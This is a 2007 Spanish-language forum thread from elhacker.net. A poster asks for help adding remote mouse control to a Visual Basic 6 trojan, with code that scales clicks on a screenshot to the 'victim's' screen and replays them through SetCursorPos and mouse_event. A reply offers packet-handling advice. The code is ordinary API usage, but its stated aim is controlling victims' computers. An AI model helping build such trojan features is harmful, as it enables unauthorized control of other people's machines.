Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: nhaalclkiemr en 25 Agosto 2007, 15:37 pm



Título: Enviar clicks raton en un troyano
Publicado por: nhaalclkiemr en 25 Agosto 2007, 15:37 pm
Pues bien, despues de un tiempo he conseguido con esta formula poder enviar la posicion de click a una victima clickando en una captura de pantalla:

-Suponiendo que declaramos las API "GetCursorPos", el tipo "POINTAPI", y que tenemos un label transparente que se ajusta a la captura de pantalla llamado "l" pues sería así (aunke pienso pero no estoy seguro que para que funcione bien el Form tiene que tener el "BorderStyle" en "None" pero no estoy seguro):

Código
  1. Dim a As POINTAPI
  2. Dim x As Long
  3. Dim y as Long
  4. Dim resX as Long
  5. Dim resY as Long
  6. resX = 1600      ' Esta es la resolución de la victima (horizontal)
  7. resY = 1200      ' Esta es la resolución de la victima (vertical)
  8. GetCursorPos a
  9. x = ((a.x - ((Me.Left + l.Left) / 15)) / (((l.Width + Me.Left + l.Left) / 15) - (Me.Left + l.Left) / 15)) * resX
  10. y = ((a.y - ((Me.Top + l.Top) / 15)) / (((l.Heigth + Me.Top + l.Top) / 15) - (Me.Top + l.Top) / 15)) * resY

Pues bien, el problema viene a la hora de hacer click, para eso uso la API mouse_event, para hacer click supongo que será así:

Código
  1. SetCursorPos x, y
  2. mouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0
  3. mouse_event MOUSEEVENTF_LEFTUP, 0, 0, 0, 0


y para doble click:

Código
  1. SetCursorPos x, y
  2. mouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0
  3. mouse_event MOUSEEVENTF_LEFTUP, 0, 0, 0, 0
  4. mouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0
  5. mouse_event MOUSEEVENTF_LEFTUP, 0, 0, 0, 0


Esto suponiendo que pulsas el boton izquierdo...si no sería lo mismo pero con el de la derecha...

Entonces al server le pueden llegar cuatro casos:

1º- Click boton izquierdo
2º- Click boton derecho
3º- Doble click boton izquierdo
4º- Doble click boton derecho

Lo malo es como envío yo esos comandos al server, porque me encuentro con estes problemas:

-Si uso el evento click y doble click del label tengo dos problemas, primero que no se que boton (si fue el derecho o el izquierdo el que pulso) y segundo que al hacer doble click ademas de producirse el evento "DblClick" tambien se produce el evento "click".

-Si uso el evento "Mouse_down" soluciono el problema de que boton fue el que pulsó el label, pero me encuentro con el problema de como diferencio el doble click del click.

Muchos pensaran que no hace falta separar el evento doble click, ya que al hacer dos clicks produzco dos eventos "Mouse_down" que se enviaran al server y este hará dos veces click...pero lo malo de eso es que un paquete puede tardar más en llegar que otro y puede que lo que me haga el server sean dos clicks separados (que el ordenador no reconocera como dble click)...


Bueno, después de este royo todo me gustaría que me dieran posibles soluciones...seguro que más de uno tiene un troyano hecho en VB 6.0 que envia clicks si haces tu click en la captura de pantalla...

Weno, espero que me podais ayudar y saludos ;)


Título: Re: Enviar clicks raton en un troyano
Publicado por: Sancho.Mazorka en 28 Agosto 2007, 00:54 am
No tengo el VB instalado, pero lo instalo y busco el proyecto, hice 2 como este
PD: Podes enviar un byte de fin de linea, y si llegan juntos que los separe y ejecuta uno primero y otro despues  ;)

Sancho.Mazorka    :¬¬